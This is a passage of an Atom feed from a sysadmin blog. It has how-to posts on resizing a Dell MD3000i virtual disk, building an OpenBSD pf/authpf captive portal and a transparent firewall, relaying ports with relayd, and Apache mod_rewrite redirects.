    <updated>2012-01-14T08:53:00-05:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2012/01/14/increase-dell-md3000i-virtual-disk-size</id>
    <content type="html"><![CDATA[<p>I needed to increase the size of a virtual disk on my Dell MD3000i. The MD3000i provides the storage space for my vSphere VM’s. The interface ‘Modular Disk Storage Manager’ does not provide a way to increase the size. To increase the size you must use the <code>SMcli.exe</code> (command line interface) provided with the Storage Manager client.</p>

<p>From the computer the ‘Modular Disk Storage Manager’ is installed on, open a CMD window and change to the following directory:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">C:</span><span class="err">\</span><span class="n">Program</span> <span class="n">Files</span><span class="err">\</span><span class="n">Dell</span><span class="err">\</span><span class="n">MD</span> <span class="n">Storage</span> <span class="n">Manager</span><span class="err">\</span><span class="n">client</span><span class="o">&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>From this directory execute the following command (an explanation of the switches is below):</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">smcli</span> <span class="o">-</span><span class="n">n</span> <span class="n">Production_Storage</span> <span class="o">-</span><span class="n">c</span> <span class="s">&quot;set virtualDisk [</span><span class="se">\&quot;</span><span class="s">virtual_disk_name</span><span class="se">\&quot;</span><span class="s">] addCapacity=26843545600;&quot;</span> <span class="o">-</span><span class="n">p</span> <span class="s">&quot;password&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Where <code>Production_Storage</code> is the name of your storage array, <code>virtual_disk_name</code> is the name of the virtual disk to increase, <code>26843545600</code> is the amount to increase the virtual disk in bytes (in this case 25GB, use this calculator to convert from GB to Bytes: <a href="http://www.matisse.net/bitcalc/">Convert GB to Bytes</a>), and <code>password</code> is the password to the storage array.</p>

<p>Once the operation is complete you will need to extend the Datastore in vSphere.</p>

<p>Locate the datastore, right-click the datastore, select properties and select the ‘Increase …’ button. Next you should see a selection of available devices and the same LUN should appear, select it and click next. Vsphere should see the additional free space and upon clicking next it will expand the volume.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Captive Portal With PF]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2011/07/13/captive-portal-with-pf/"/>
    <updated>2011-07-13T13:18:00-04:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2011/07/13/captive-portal-with-pf</id>
    <content type="html"><![CDATA[<p>I had a need to create a captive portal at a customer site without installing a new piece of hardware.</p>

<p>I decided to create a OpenBSD VM with the following configuration to make users authenticate on the gateway before being allowed internet access.</p>

<p>The OpenBSD VM needs two virtual NIC’s. I configured my networking in OpenBSD as follows:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">pcn0</span> <span class="o">-</span> <span class="mf">192.168.0.100</span>
</span><span class='line'><span class="n">pcn1</span> <span class="o">-</span> <span class="mf">192.168.0.101</span>
</span></code></pre></td></tr></table></div></figure>


<p>The file <code>/etc/mygate</code> needs to have the IP of the current working gateway. Mine was:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="mf">192.168.0.10</span>
</span></code></pre></td></tr></table></div></figure>




<!-- more -->


<p>The file <code>/etc/resolv.conf</code> must have the correct DNS server in it. Mine was:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">lookup</span> <span class="n">file</span> <span class="n">bind</span>
</span><span class='line'><span class="n">nameserver</span> <span class="mf">192.168.0.1</span>
</span></code></pre></td></tr></table></div></figure>


<p>First I setup pf and ip forwarding. Then I setup <code>/etc/pf.conf</code> with the following configuration:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">ext_if</span><span class="o">=</span><span class="s">&quot;pcn0&quot;</span>
</span><span class='line'><span class="n">int_if</span><span class="o">=</span><span class="s">&quot;pcn1&quot;</span>
</span><span class='line'><span class="n">lan_net</span><span class="o">=</span><span class="s">&quot;192.168.0.0/24&quot;</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#DEFAULT DENY</span>
</span><span class='line'><span class="n">block</span> <span class="k">in</span> <span class="n">all</span>
</span><span class='line'><span class="n">block</span> <span class="n">out</span> <span class="n">all</span>
</span><span class='line'>
</span><span class='line'><span class="n">anchor</span> <span class="s">&quot;authpf/*&quot;</span>
</span><span class='line'>
</span><span class='line'><span class="n">pass</span> <span class="k">in</span> <span class="n">quick</span> <span class="n">on</span> <span class="n">$int_if</span> <span class="n">inet</span> <span class="n">proto</span> <span class="n">tcp</span> <span class="n">from</span> <span class="n">any</span> <span class="n">to</span> <span class="n">$int_if</span> <span class="n">port</span> <span class="n">ssh</span> <span class="n">flags</span> <span class="n">S</span><span class="o">/</span><span class="n">SA</span> <span class="n">keep</span> <span class="n">state</span>
</span></code></pre></td></tr></table></div></figure>


<p>This configuration blocks everything except ssh and inserts the authpf rules once a user validates on the firewall.</p>

<p>Once you have pf.conf set properly it’s time to configure authpf. Create the following files:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="cp">#touch /etc/authpf/authpf.conf</span>
</span><span class='line'><span class="cp">#touch /etc/authpf/authpf.rules</span>
</span><span class='line'>
</span><span class='line'><span class="n">The</span> <span class="n">file</span> <span class="n">permissions</span> <span class="n">should</span> <span class="nl">be:</span>
</span><span class='line'>
</span><span class='line'><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span>   <span class="mi">1</span> <span class="n">root</span> <span class="n">wheel</span>  <span class="n">authpf</span><span class="p">.</span><span class="n">conf</span>  <span class="p">(</span><span class="mi">644</span><span class="p">)</span>
</span><span class='line'><span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span>  <span class="mi">1</span> <span class="n">root</span> <span class="n">wheel</span>  <span class="n">authpf</span><span class="p">.</span><span class="n">rules</span> <span class="p">(</span><span class="mi">755</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure>


<p>Add the following to <code>authpf.rules</code>:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">pass</span> <span class="k">in</span> <span class="n">all</span>
</span><span class='line'><span class="n">pass</span> <span class="n">out</span> <span class="n">all</span>
</span></code></pre></td></tr></table></div></figure>


<p>Once this is all setup restart the VM. Change the gateway on the client computers to point to 192.168.0.101 initially they wont be allowed any internet access.</p>

<p>To get internet access they will need to ssh to the captive portal (192.168.0.101) and login. Once they login as long as they keep the window open they will be allowed unrestricted access.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Transparent Firewall With OpenBSD VM]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2011/03/09/transparent-firewall-with-openbsd-vm/"/>
    <updated>2011-03-09T09:43:00-05:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2011/03/09/transparent-firewall-with-openbsd-vm</id>
    <content type="html"><![CDATA[<p>I had a job where I needed to place a firewall in front of a network of publicly accessible computers. I decided to use a virtual transparent firewall to protect the entire network and make no changes on the client computers. This is document describes how I did it.</p>

<p>First the hardware: I decided to use a Dell Poweredge 1900 with ESXi server. The server has (2) Quad Core Processors, 16GB of RAM and 3 NICs. The storage is local with 4 drives set in a RAID 5 providing 600GB of storage.</p>

<p>Now for the NIC setup. You can see from the below diagram the BSD Bridge is setup on <code>vmnic0</code> and <code>vmnic1</code>, <code>vmnic2</code> is reserved for management and other VM’s.</p>

<p><img class="center" src="http://cdn.computerglitch.net/images/vhost-network.jpg"></p>

<!-- more -->


<p>One VERY IMPORTANT note before I begin to explain the setup of the OpenBSD VM, the two NICS that will be used for the transparent firewall <em>must be setup
in ESXi for promiscuous mode</em>! See the image below.</p>

<p><img class="center" src="http://cdn.computerglitch.net/images/prom-mode.jpg"></p>

<p>Configure the OpenBSD VM with two NICS, both tied to the NICs configured in promiscuous mode. Install OpenBSD on the VM.</p>

<p>For the configuration of OpenBSD do the following:
Enable PF and IP forwarding (edit <code>/etc/rc.conf and /etc/sysctl.conf</code>)</p>

<p>Configure the bridge (substitute your NIC names in place of vic0 and vic1)
First create the file <code>/etc/bridgename.bridge0</code>:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="cp"># touch /etc/bridgename.bridge0</span>
</span></code></pre></td></tr></table></div></figure>


<p>Add the following to the <code>bridgename.bridge0</code> file:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">add</span> <span class="n">vic0</span>
</span><span class='line'><span class="n">add</span> <span class="n">vic1</span>
</span><span class='line'><span class="n">up</span>
</span></code></pre></td></tr></table></div></figure>


<p>After you have added this file reboot the OpenBSD VM, when the system comes back up you should see the following when issuing ifconfig -a</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">bridge0:</span> <span class="n">flags</span><span class="o">=</span><span class="mi">41</span><span class="o">&lt;</span><span class="n">UP</span><span class="p">,</span><span class="n">RUNNING</span><span class="o">&gt;</span> <span class="n">mtu</span> <span class="mi">1500</span>
</span><span class='line'><span class="nl">groups:</span> <span class="n">bridge</span>
</span></code></pre></td></tr></table></div></figure>


<p>Once you have confirmed the bridge is running its time to configure pf to control the traffic. Here is an example <code>/etc/pf.conf</code> file that blocks all
external traffic destined for the internal network and allows all internal traffic destined for the internet:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">ext_if</span><span class="o">=</span><span class="err">”</span><span class="n">vic0</span><span class="err">″</span>
</span><span class='line'><span class="n">int_if</span><span class="o">=</span><span class="err">”</span><span class="n">vic1</span><span class="err">″</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#Allow all traffic out from our network (vic1)</span>
</span><span class='line'><span class="n">pass</span> <span class="n">out</span> <span class="n">quick</span> <span class="n">on</span> <span class="n">$int_if</span> <span class="n">all</span>
</span><span class='line'><span class="n">pass</span> <span class="k">in</span> <span class="n">quick</span> <span class="n">on</span> <span class="n">$int_if</span> <span class="n">all</span>
</span><span class='line'><span class="n">pass</span> <span class="n">out</span> <span class="n">quick</span> <span class="n">on</span> <span class="n">$ext_if</span> <span class="n">all</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#Block all traffic on external interface (vic0) by default</span>
</span><span class='line'><span class="n">block</span> <span class="k">in</span> <span class="n">log</span> <span class="n">on</span> <span class="n">$ext_if</span> <span class="n">all</span>
</span></code></pre></td></tr></table></div></figure>


<p>A more elaborate example allows SSH traffic from specific IP’s to the internal network and configures OpenDNS redirection for content filtering on the
internal network:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">ext_if</span><span class="o">=</span><span class="err">”</span><span class="n">vic0</span><span class="err">″</span>
</span><span class='line'><span class="n">int_if</span><span class="o">=</span><span class="err">”</span><span class="n">vic1</span><span class="err">″</span>
</span><span class='line'>
</span><span class='line'><span class="n">allowed_ips</span><span class="o">=</span><span class="err">”</span><span class="p">{</span> <span class="mf">68.180.206.184</span><span class="p">,</span> <span class="mf">209.85.171.100</span> <span class="p">}</span><span class="err">”</span>
</span><span class='line'><span class="n">opendns</span><span class="o">=</span><span class="err">”</span><span class="p">{</span> <span class="mf">208.67.222.222</span><span class="p">,</span> <span class="mf">208.67.220.220</span> <span class="p">}</span><span class="err">”</span>
</span><span class='line'><span class="n">internal_ips</span><span class="o">=</span><span class="err">”</span><span class="p">{</span> <span class="mf">206.46.232.39</span><span class="o">/</span><span class="mi">27</span> <span class="p">}</span><span class="err">”</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#Redirect to OpenDNS for content filtering</span>
</span><span class='line'><span class="n">rdr</span> <span class="n">on</span> <span class="n">$int_if</span> <span class="n">inet</span> <span class="n">proto</span> <span class="n">udp</span> <span class="n">from</span> <span class="n">any</span> <span class="n">to</span> <span class="n">any</span> <span class="n">port</span> <span class="mi">53</span> <span class="o">-&gt;</span> <span class="n">$opendns</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#Allow all traffic out from our network (vic1)</span>
</span><span class='line'><span class="n">pass</span> <span class="n">out</span> <span class="n">quick</span> <span class="n">on</span> <span class="n">$int_if</span> <span class="n">all</span>
</span><span class='line'><span class="n">pass</span> <span class="k">in</span> <span class="n">quick</span> <span class="n">on</span> <span class="n">$int_if</span> <span class="n">all</span>
</span><span class='line'><span class="n">pass</span> <span class="n">out</span> <span class="n">quick</span> <span class="n">on</span> <span class="n">$ext_if</span> <span class="n">all</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#Block all traffic on external interface (vic0) by default</span>
</span><span class='line'><span class="n">block</span> <span class="k">in</span> <span class="n">log</span> <span class="n">on</span> <span class="n">$ext_if</span> <span class="n">all</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#Inbound Allow Rules</span>
</span><span class='line'><span class="n">pass</span> <span class="k">in</span> <span class="n">log</span> <span class="n">quick</span> <span class="n">on</span> <span class="n">$ext_if</span> <span class="n">proto</span> <span class="n">tcp</span> <span class="n">from</span> <span class="n">$allowed_ips</span> <span class="n">to</span> <span class="n">$internal_ips</span> <span class="n">port</span> <span class="mi">22</span> <span class="n">modulate</span> <span class="n">state</span>
</span></code></pre></td></tr></table></div></figure>


<p>Here is a diagram of the hardware setup and wiring:</p>

<p><img class="center" src="http://cdn.computerglitch.net/images/hardware-dia.gif"></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Port Relay With Relayd on OpenBSD]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2010/06/02/port-relay-with-relayd/"/>
    <updated>2010-06-02T11:08:00-04:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2010/06/02/port-relay-with-relayd</id>
    <content type="html"><![CDATA[<p>I had originally planned on setting up the new server in the DMZ giving it a public IP address, updating the DNS record and going happily about my business but I decided to try something a little different. OpenBSD has a very cool load balancing program named Relayd (which used to be called hoststated). It can be setup to forward, reverse, redirect or accelerate packets.</p>

<p><img class="center" src="http://cdn.computerglitch.net/images/openbsd_relayd.png"></p>

<p>For my use I wanted Relayd to act as a tcp port relay and redirect all www packets bound for my public IP to be redirected to my webserver in the DMZ, you can see the traffic flow below:</p>

<p><code>internet -->  relayd forward (box1) -->  server (box2)</code></p>

<p>To achieve this I edited my <code>/etc/relayd.conf</code> as follows:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">box1_addr</span><span class="o">=</span><span class="s">&quot;10.1.1.2&quot;</span>
</span><span class='line'><span class="n">box1_port</span><span class="o">=</span><span class="s">&quot;80&quot;</span>
</span><span class='line'><span class="n">box2_addr</span><span class="o">=</span><span class="s">&quot;10.1.1.3&quot;</span>
</span><span class='line'><span class="n">box2_port</span><span class="o">=</span><span class="s">&quot;80&quot;</span>
</span><span class='line'>
</span><span class='line'><span class="cp">## TCP port relay and forwarder</span>
</span><span class='line'><span class="cp">#</span>
</span><span class='line'><span class="n">protocol</span> <span class="s">&quot;tcp_service&quot;</span> <span class="p">{</span>
</span><span class='line'>                   <span class="n">tcp</span> <span class="p">{</span> <span class="n">nodelay</span><span class="p">,</span> <span class="n">socket</span> <span class="n">buffer</span> <span class="mi">65536</span> <span class="p">}</span>
</span><span class='line'>           <span class="p">}</span>
</span><span class='line'>
</span><span class='line'>           <span class="n">relay</span> <span class="s">&quot;tcp_forwarder&quot;</span> <span class="p">{</span>
</span><span class='line'>                   <span class="n">listen</span> <span class="n">on</span> <span class="n">$box1_addr</span> <span class="n">port</span> <span class="n">$box1_port</span>
</span><span class='line'>                   <span class="n">protocol</span> <span class="s">&quot;tcp_service&quot;</span>
</span><span class='line'>                   <span class="n">forward</span> <span class="n">to</span> <span class="n">$box2_addr</span> <span class="n">port</span> <span class="n">$box2_port</span>
</span><span class='line'>           <span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Once my <code>/etc/relayd.conf</code> setting was in place I started <code>relayd</code> with the following command:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">relayd</span> <span class="o">-</span><span class="n">f</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">relayd</span><span class="p">.</span><span class="n">conf</span>
</span></code></pre></td></tr></table></div></figure>


<p>Additionally to make sure Relayd starts at boot time I added the following to my <code>/etc/rc.conf.local</code> file:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">relayd_flags</span><span class="o">=</span><span class="s">&quot;&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>And with that, all web traffic bound for my network is being successfully relayed to my external webserver in the DMZ, no changes to DNS were made.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Apache mod_rewrite]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2010/04/28/apache-mod-rewrite/"/>
    <updated>2010-04-28T11:48:00-04:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2010/04/28/apache-mod-rewrite</id>
    <content type="html"><![CDATA[<p>The Apache mod_rewrite module is a very powerful feature of Apache that is sometimes overlooked. For example, I needed to change all requests for <code>http://computerglitch.net</code> to <code>http://www.computerglitch.net</code> to do this I added the following code to the vhost file for computerglitch.net:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">RewriteEngine</span> <span class="n">On</span>
</span><span class='line'>    <span class="n">RewriteCond</span> <span class="o">%</span><span class="p">{</span><span class="n">HTTP_HOST</span><span class="p">}</span> <span class="o">^</span><span class="n">computerglitch</span><span class="err">\</span><span class="p">.</span><span class="n">net</span>
</span><span class='line'>    <span class="n">RewriteRule</span> <span class="o">^</span><span class="p">(.</span><span class="o">*</span><span class="p">)</span><span class="n">$</span> <span class="nl">http:</span><span class="c1">//www.computerglitch.net/$1 [R=permanent,L]</span>
</span></code></pre></td></tr></table></div></figure>


<p>Lets go over step by step what this code is actually doing.</p>

<!-- more -->


<p><code>Line 1</code> turns the runtime rewriting engine on or off. This line needs to be on in the vhosts file in order for the configuration to work because rewrite configurations are not inherited by virtual hosts.</p>

<p><code>Line 2</code> condition matches if the Host portion of the HTTP request header begins with computerglitch.net</p>

<p><code>Line 3</code> rewrite computerglitch.net as http://www.computerglitch.net, reply with a <strong>301 Moved Permanently</strong> response and stop any later rules from affecting this url.</p>

<p>A little more detail about the regular expression used on <code>Line 3</code></p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'>    <span class="o">^</span><span class="p">(.</span><span class="o">*</span><span class="p">)</span><span class="n">$</span>
</span></code></pre></td></tr></table></div></figure>


<p><code>    ^</code> begins the line to match</p>

<p><code>()</code> designates the portion to preserve for use again in the <code>$1</code> variable.</p>

<p><code>.</code> matches any non-whitespace character</p>

<p><code>*</code> means the previous character can be matched zero or more times</p>

<p><code>$</code> ends the line to match</p>

<ul>
<li><p>To explain this with a couple of examples:</p>

<ul>
<li><p><code>    ^keyboard$</code> matches <strong>keyboard</strong> exactly</p></li>
<li><p><code>    ^keyboard.*$</code> matches <strong>keyboard2000</strong>, <strong>keyboard2001</strong>, etc.</p></li>
<li><p><code>    ^.*$</code> matches everything</p></li>
</ul>
</li>
</ul>


<p>For more information on perl regular expressions see: <a href="http://perldoc.perl.org/perlre.html#Regular-Expressions">http://perldoc.perl.org/perlre.html#Regular-Expressions</a></p>

<p>Breaking this down you can see how it works with the following <strong>HTTP Request Header</strong>, <strong>HTTP Response Header</strong> and <strong>Response Body</strong>:</p>

<p><code>HTTP Request Header</code></p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'>    <span class="n">GET</span> <span class="o">/</span> <span class="n">HTTP</span><span class="o">/</span><span class="mf">1.1</span><span class="p">[</span><span class="n">CRLF</span><span class="p">]</span>
</span><span class='line'>    <span class="nl">Host:</span> <span class="n">computerglitch</span><span class="p">.</span><span class="n">net</span><span class="p">[</span><span class="n">CRLF</span><span class="p">]</span>
</span><span class='line'>    <span class="nl">Connection:</span> <span class="n">close</span><span class="p">[</span><span class="n">CRLF</span><span class="p">]</span>
</span><span class='line'>    <span class="n">User</span><span class="o">-</span><span class="nl">Agent:</span> <span class="n">Mozilla</span><span class="o">/</span><span class="mf">5.0</span> <span class="p">(</span><span class="n">Windows</span><span class="p">;</span> <span class="n">U</span><span class="p">;</span> <span class="n">Windows</span> <span class="n">NT</span> <span class="mf">5.1</span><span class="p">;</span> <span class="n">de</span><span class="p">;</span> <span class="nl">rv:</span><span class="mf">1.9</span><span class="p">)</span> <span class="n">Gecko</span><span class="o">/</span><span class="mi">2008052906</span> <span class="n">Firefox</span><span class="o">/</span><span class="mf">3.0</span><span class="p">[</span><span class="n">CRLF</span><span class="p">]</span>
</span><span class='line'>    <span class="n">Accept</span><span class="o">-</span><span class="nl">Encoding:</span> <span class="n">gzip</span><span class="p">[</span><span class="n">CRLF</span><span class="p">]</span>
</span><span class='line'>    <span class="n">Accept</span><span class="o">-</span><span class="nl">Charset:</span> <span class="n">ISO</span><span class="o">-</span><span class="mi">8859</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="n">UTF</span><span class="o">-</span><span class="mi">8</span><span class="p">;</span><span class="n">q</span><span class="o">=</span><span class="mf">0.7</span><span class="p">,</span><span class="o">*</span><span class="p">;</span><span class="n">q</span><span class="o">=</span><span class="mf">0.7</span><span class="p">[</span><span class="n">CRLF</span><span class="p">]</span>
</span><span class='line'>    <span class="n">Cache</span><span class="o">-</span><span class="nl">Control:</span> <span class="n">no</span><span class="o">-</span><span class="n">cache</span><span class="p">[</span><span class="n">CRLF</span><span class="p">]</span>
</span><span class='line'>    <span class="n">Accept</span><span class="o">-</span><span class="nl">Language:</span> <span class="n">de</span><span class="p">,</span><span class="n">en</span><span class="p">;</span><span class="n">q</span><span class="o">=</span><span class="mf">0.7</span><span class="p">,</span><span class="n">en</span><span class="o">-</span><span class="n">us</span><span class="p">;</span><span class="n">q</span><span class="o">=</span><span class="mf">0.3</span><span class="p">[</span><span class="n">CRLF</span><span class="p">]</span>
</span></code></pre></td></tr></table></div></figure>


<p><code>HTTP Response Header</code></p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">Server:</span> <span class="n">Apache</span>
</span><span class='line'><span class="nl">Location:</span> <span class="nl">http:</span><span class="c1">//www.computerglitch.net/</span>
</span><span class='line'><span class="n">Content</span><span class="o">-</span><span class="nl">Length:</span> <span class="mi">322</span>
</span><span class='line'><span class="nl">Connection:</span> <span class="n">close</span>
</span><span class='line'><span class="n">Content</span><span class="o">-</span><span class="nl">Type:</span> <span class="n">text</span><span class="o">/</span><span class="n">html</span><span class="p">;</span> <span class="n">charset</span><span class="o">=</span><span class="n">iso</span><span class="o">-</span><span class="mi">8859</span><span class="o">-</span><span class="mi">1</span>
</span></code></pre></td></tr></table></div></figure>


<p><code>Response Body</code></p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="o">&lt;!</span><span class="n">DOCTYPE</span> <span class="n">HTML</span> <span class="n">PUBLIC</span> <span class="s">&quot;-//IETF//DTD HTML 2.0//EN&quot;</span><span class="o">&gt;</span>
</span><span class='line'><span class="o">&lt;</span><span class="n">html</span><span class="o">&gt;&lt;</span><span class="n">head</span><span class="o">&gt;</span>
</span><span class='line'><span class="o">&lt;</span><span class="n">title</span><span class="o">&gt;</span><span class="mi">301</span> <span class="n">Moved</span> <span class="n">Permanently</span><span class="o">&lt;/</span><span class="n">title</span><span class="o">&gt;</span>
</span><span class='line'><span class="o">&lt;/</span><span class="n">head</span><span class="o">&gt;&lt;</span><span class="n">body</span><span class="o">&gt;</span>
</span><span class='line'><span class="o">&lt;</span><span class="n">h1</span><span class="o">&gt;</span><span class="n">Moved</span> <span class="n">Permanently</span><span class="o">&lt;/</span><span class="n">h1</span><span class="o">&gt;</span>
</span><span class='line'><span class="o">&lt;</span><span class="n">p</span><span class="o">&gt;</span><span class="n">The</span> <span class="n">document</span> <span class="n">has</span> <span class="n">moved</span> <span class="o">&lt;</span><span class="n">a</span> <span class="n">href</span><span class="o">=</span><span class="s">&quot;http://www.computerglitch.net/&quot;</span><span class="o">&gt;</span><span class="n">here</span><span class="o">&lt;/</span><span class="n">a</span><span class="o">&gt;</span><span class="p">.</span><span class="o">&lt;/</span><span class="n">p</span><span class="o">&gt;</span>
</span><span class='line'><span class="o">&lt;</span><span class="n">hr</span><span class="o">&gt;</span>
</span><span class='line'><span class="o">&lt;</span><span class="n">address</span><span class="o">&gt;</span><span class="n">Apache</span> <span class="n">Server</span> <span class="n">at</span> <span class="n">computerglitch</span><span class="p">.</span><span class="n">net</span> <span class="n">Port</span> <span class="mi">80</span><span class="o">&lt;/</span><span class="n">address</span><span class="o">&gt;</span>
</span><span class='line'><span class="o">&lt;/</span><span class="n">body</span><span class="o">&gt;&lt;/</span><span class="n">html</span><span class="o">&gt;</span>
</span></code></pre></td></tr></table></div></figure>



]]></content>
  </entry>
  
</feed>
